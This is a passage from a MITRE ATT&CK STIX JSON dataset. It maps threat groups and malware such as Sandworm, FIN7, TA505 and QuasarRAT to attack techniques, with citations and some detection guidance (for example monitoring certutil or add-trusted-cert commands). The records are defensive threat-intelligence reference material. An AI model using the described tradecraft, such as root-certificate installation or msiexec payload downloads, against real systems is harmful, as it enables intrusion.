CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}], "modified": "2021-12-07T18:39:06.274Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has exploited CVE-2011-0611 in Adobe Flash Player to gain execution on a targeted system.(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ed3ed76-7ebe-4371-a7e9-cc5a45ace915", "type": "relationship", "created": "2019-01-30T13:28:47.831Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Xiao, C. (2018, September 17). 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Retrieved November 14, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/", "source_name": "Unit42 Xbash Sept 2018"}], "modified": "2019-06-28T15:15:54.445Z", "description": "[Xbash](https://attack.mitre.org/software/S0341) can use mshta for executing scripts.(Citation: Unit42 Xbash Sept 2018)", "relationship_type": "uses", "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ed3f52b-eb91-40a0-9a15-ccce39878f25", "type": "relationship", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.832Z", "description": "Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).", "source_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2ed4e002-fe79-4ea9-94e6-d05d1c5358a9", "created": "2024-03-27T20:13:07.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant-Sandworm-Ukraine-2022", "description": "Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.", "url": "https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T15:18:48.530Z", "description": "During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) utilized a PowerShell utility called TANKTRAP to spread and launch a wiper using Windows Group Policy.(Citation: Mandiant-Sandworm-Ukraine-2022)", "relationship_type": "uses", "source_ref": "campaign--df8eb785-70f8-4300-b444-277ba849083d", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2ed8a8c7-2b1b-4bac-bc35-4d4fad2284b7", "created": "2022-03-30T14:26:51.843Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor processes for unexpected termination related to security tools/services. Specifically, before execution of ransomware, monitor for rootkit tools, such as GMER, PowerTool or TDSSKiller, that may detect and terminate hidden processes and the host antivirus software.\n", "modified": "2022-05-31T21:53:09.321Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2ed90af5-43e7-4c81-b03d-6d4b54988d75", "created": "2022-06-15T15:17:30.412Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used a scheduled task to establish persistence for a keylogger.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-15T15:17:30.412Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ed969c0-be8f-43d1-8226-1009faefaa20", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT10 Sept 2018", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}], "modified": "2020-03-17T02:46:42.684Z", "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to collect the current logged on user\u2019s username from a machine.(Citation: FireEye APT10 Sept 2018)", "relationship_type": "uses", "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ede8fe4-0a44-4c31-ba4c-d3282d57b4b8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/quasar/QuasarRAT", "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", "source_name": "GitHub QuasarRAT"}, {"url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. 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(2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}], "modified": "2021-09-23T13:09:35.868Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used TightVNC to control compromised hosts.(Citation: CrowdStrike Carbon Spider August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f16d53b-7f08-42d2-93bb-47e0f854eb12", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor for commands, such as <code>security add-trusted-cert</code> (macOS) or <code>certutil -addstore</code> (Windows), that can be used to install root certificates. A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through <code>authroot.stl</code>. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. 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Retrieved April 3, 2018.", "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"}, {"source_name": "Microsoft Sigcheck May 2017", "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f19f736-a547-47c3-ae26-40a0d13cdf41", "type": "relationship", "created": "2021-09-29T22:24:15.696Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-10-15T16:33:28.722Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) have enumerated files and directories, or searched in specific locations within a compromised host.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f21c707-0fb8-4f7f-9469-1e16c2b3c9b6", "type": "relationship", "created": "2020-10-19T19:13:59.737Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-19T19:13:59.737Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5", "target_ref": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f2432b0-d985-41d8-bc47-e4aa1dbf8372", "type": "relationship", "created": "2020-06-09T18:50:04.600Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.182Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has masked executables with document file icons including Word and Adobe PDF.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f249959-a448-454d-85ab-f71c8c5ff277", "type": "relationship", "created": "2021-06-10T15:13:07.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-10T15:13:07.279Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can disguise JavaScript files as PDFs.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f25c2ba-ee4b-41e7-9cf9-7a0960f3e77c", "type": "relationship", "created": "2020-09-23T17:54:32.199Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). 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(2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}], "modified": "2019-10-07T19:05:49.074Z", "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the <code>reg query</code> command for <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>.(Citation: Unit42 BabyShark Feb 2019)\t", "relationship_type": "uses", "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f2f1098-bbb1-4b9b-a131-7dfd4a350af2", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Monitor executed commands and arguments that may achieve persistence by adding a Registry key to the Active Setup of the local machine.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2f337593-16b2-40a2-928c-c7659d0326ea", "created": "2022-10-11T16:03:53.721Z", "revoked": false, "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T16:03:53.721Z", "description": "[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has used a dropper that employs a worm infection strategy using a removable device to breach a secure network environment.(Citation: SentinelOne Aoqin Dragon June 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f3389a4-e0a6-4dc5-b5ff-38fd185e2821", "type": "relationship", "created": "2021-11-12T19:30:36.124Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "modified": "2022-03-09T17:40:40.885Z", "description": "[Diavol](https://attack.mitre.org/software/S0659) has used HTTP GET and POST requests for C2.(Citation: Fortinet Diavol July 2021)", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f33e27a-6fdf-4121-9e25-a307910b118f", "type": "relationship", "created": "2021-02-08T22:05:36.561Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-02-08T22:05:36.561Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) used fake updates for FlashPlayer plugin and Google Chrome as initial infection vectors.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f350d97-8492-4eb4-8640-2c3ae2bc8df1", "type": "relationship", "created": "2019-05-29T12:47:44.943Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware", "source_name": "Cybereason TA505 April 2019"}, {"description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/", "source_name": "Deep Instinct TA505 Apr 2019"}, {"source_name": "Trend Micro TA505 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}], "modified": "2020-05-29T19:02:07.218Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used <code>msiexec</code> to download and execute malicious Windows Installer files.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f3d9b76-bec9-4cee-9a9b-1c42f373ec86", "type": "relationship", "created": "2020-05-18T17:31:39.376Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Maze March 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}], "modified": "2020-06-24T01:40:07.399Z", "description": "[Maze](https://attack.mitre.org/software/S0449) has used the \"WNetOpenEnumW\", \"WNetEnumResourceW\u201d, \u201cWNetCloseEnum\u201d and \u201cWNetAddConnection2W\u201d functions to enumerate the network resources on the infected machine.(Citation: McAfee Maze March 2020)", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2f3ff7c9-ea14-45ad-b295-6f2f3c40cff7", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "CISA AR18-352A Quasar RAT December 2018", "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A", "description": "CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}, {"source_name": "GitHub QuasarRAT", "url": "https://github.com/quasar/QuasarRAT", "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018."}, {"source_name": "Volexity Patchwork June 2018", "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) uses AES with a hardcoded pre-shared key to encrypt network communication.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)(Citation: CISA AR18-352A Quasar RAT December 2018)", "modified": "2022-08-02T17:12:10.799Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2f406d0e-d78c-455b-8c4b-c093fa5b5bda", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for contextual file data that may show signs of deletion or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2f409bb6-2dc3-4e4b-901b-b177d4d03fd6", "created": "2024-02-14T19:01:13.319Z", "revoked": false, "external_references": [{"source_name": "Mandiant Advanced Persistent Threats", "description": "Mandiant. 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(2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}], "modified": "2020-05-04T14:24:55.171Z", "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used HTTP in outbound communications.(Citation: Chronicle Winnti for Linux May 2019)", "relationship_type": "uses", "source_ref": "malware--8787e86d-8475-4f13-acea-d33eb83b6105", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2fc6e8dc-5117-41ea-9b5f-154cff612f6f", "type": "relationship", "created": "2021-01-13T21:05:37.504Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. (2019, December 12). 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Retrieved December 11, 2020."}], "modified": "2020-12-17T16:56:47.428Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the IP address of the victim machine and spawn instances of netsh.exe to enumerate wireless settings.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: SentinelLabs Agent Tesla Aug 2020) ", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2fcc26f7-9da6-4155-af96-b826e2dfe085", "created": "2022-04-07T22:37:35.143Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "TrendMicro Confucius APT Feb 2018", "url": "https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html", "description": "Lunghi, D and Horejsi, J. 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Retrieved December 26, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has exfiltrated victim data to cloud storage service accounts.(Citation: TrendMicro Confucius APT Feb 2018)", "modified": "2022-04-07T22:37:35.143Z", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2fd0b80f-d053-4679-a350-1bb45b32ab49", "type": "relationship", "created": "2020-05-13T19:39:41.717Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}, {"source_name": "Unit42 Molerat Mar 2020", "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}], "modified": "2020-12-15T00:13:05.723Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) used executables to download malicious files from different sources.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020) ", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2fd6ac0b-f091-4cd0-a6ad-6b476e980fad", "type": "relationship", "created": "2021-10-01T19:11:46.022Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. 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(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": 